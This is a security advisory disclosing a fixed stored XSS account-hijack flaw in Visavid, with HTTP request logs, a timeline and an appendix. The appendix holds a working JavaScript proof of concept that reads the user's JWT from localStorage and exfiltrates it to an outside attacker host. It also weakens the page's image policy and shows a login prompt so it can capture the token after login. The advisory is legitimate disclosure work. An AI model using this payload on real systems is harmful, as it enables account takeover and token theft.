Advisory - Visavid account hijack via stored XSS
Product: | Visavid |
---|---|
Homepage: | https://visavid.de/ |
Vulnerable version: | Gateway 1.10.3, Verwaltung: 1.10.10 |
Fixed version: | Gateway 1.10.3, Verwaltung: 1.10.14 |
CVSS Score: | HIGH 8.0 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H |
Found: | Apr 22, 2021 |
Product description
Kommunizieren, präsentieren, fortbilden: Unsere flexible Videokonferenz-Software ist von der Entwicklung bis zum Support zu 100 % Made in Germany und bietet neben Datenschutz und einem hohen Sicherheits-Level auch individuelle Anpassungsmöglichkeiten für unterschiedliche Einsatzbereiche.
Vulnerability overview
The software Visavid
allows an room
admin to upload files for the room. These uploaded files can then be accessed without authentication. As the content type/data of the uploaded file is not restricted, a HTML
file with included JavaScript
code can be uploaded. If the victim visits the URL the JWT
can be accessed from the localStorage
and sent back to the attacker, which allows full access to the account.
Proof of concept
The endpoint PUT /api/verwaltung/rooms/file/{ROOM-ID}
allows an user to upload files to a room. As the content type/data is not restricted a HTML
file with malicious JavaScript
code can be uploaded. The result to this requests contains the resource URL (file.data.url
), which can be used to access the file without authentication. This URL can then be sent to a victim. If the victim opens the URL and is logged in the JWT
can be stolen.
The request to upload a HTML file:
PUT /api/verwaltung/rooms/file/6f735b70-27ee-41dc-a1df-778446f40fcc HTTP/1.1
Host: staging.visavid.de
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/hal+json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer XXX
Content-Type: multipart/form-data; boundary=---------------------------266190233231735721582577257025
Content-Length: 2567
Origin: https://staging.visavid.de
DNT: 1
Connection: close
-----------------------------266190233231735721582577257025
Content-Disposition: form-data; name="id"
6f735b70-27ee-41dc-a1df-778446f40fcc
-----------------------------266190233231735721582577257025
Content-Disposition: form-data; name="file_file"; filename="extract-jwt.html"
Content-Type: text/html
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<title>Visavid - Stored XSS</title>
........
</html>
-----------------------------266190233231735721582577257025
Content-Disposition: form-data; name="view_initial"
false
-----------------------------266190233231735721582577257025
Content-Disposition: form-data; name="room_id"
{"id":"{ROOM-ID}"}
-----------------------------266190233231735721582577257025--
The response contains the resource URL, which is available without login:
{
"file": {
"data": {
"id": "141f4e8fX178b54d7629XY7fa1",
"url": "resources/466524208/141f4e8fX178b54d7629XY7fa1/ORG/extract-jwt.html",
"name": "extract-jwt.html",
"size": 1910,
"alias": "default",
"index": "visavid",
"format": "ORG",
"public": false,
"imgWidth": 0,
"mimeType": "text/html",
"extension": "html",
"imgHeight": 0,
"timestamp": 1619090844873,
"indexHashed": "466524208",
"imgColorSpace": 0,
"entityId": "6f735b70-27ee-41dc-a1df-778446f40fcc",
"entityPath": "/rooms/file"
},
"url": "/api/verwaltung/rooms/file/6f735b70-27ee-41dc-a1df-778446f40fcc/blobs/3143036/{FORMAT}/extract-jwt.html"
},
"view_initial": false,
"defaultvalue": "extract-jwt.html",
"id": "6f735b70-27ee-41dc-a1df-778446f40fcc"
}
If the victim open the resource URL https://staging.visavid.de/resources/466524208/141f4e8fX178b54d7629XY7fa1/ORG/extract-jwt.html
the JavaScript
code is executed.
GET /resources/466524208/141f4e8fX178b54d7629XY7fa1/ORG/extract-jwt.html HTTP/1.1
Host: staging.visavid.de
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
To demonstrate the impact a small JWT
stealing PoC was created (full source in appendix).
If the victim is already logged in the current JWT
is sent back to the attacker.
Otherwise the normal login prompt is shown and the stealing function is called every two second until the user is logged in and the token is sent back.
After the user logged in:
Timeline
- 2021-04-22: Sent report to vendor
- 2021-04-23: Vendor acknowledged vulnerability
- 2021-04-26: Vendor informed that the issue is fixed
- 2021-04-27: Public release of security advisory
Reference
Appendix
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<title>Visavid - Stored XSS</title>
<style>
</style>
<body>
<div>
Please wait while you are redirected....
</div>
<script>
const EX_URL = "https://visavid.netlog-py.ml/token?v=";
var success = false;
function exfiltrateToken(token) {
console.log("JWT token: " + token);
var b = document.getElementsByTagName("body")[0];
var img = document.createElement("img");
img.src = EX_URL + btoa(token)
b.appendChild(img);
}
function steal() {
if(!success) {
var token = localStorage.getItem("_id_token");
if( token) {
exfiltrateToken(token);
success = true;
}
}
return success;
}
if( !steal()) {
console.log("Loading login page, because steal failed.");
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
window.history.pushState({"html":"","pageTitle":"Login"},"", "/app/login");
document.open("text/html");
var html = this.responseText.replace("img-src 'self' blob: data: cdn.visavid.de visavid.de", "img-src *");
document.write(html);
document.close();
}
};
xhttp.open("GET", "/app", true);
xhttp.send();
console.log("Setup steal callback");
setInterval(steal, 2000);
}
</script>
</body>
</html>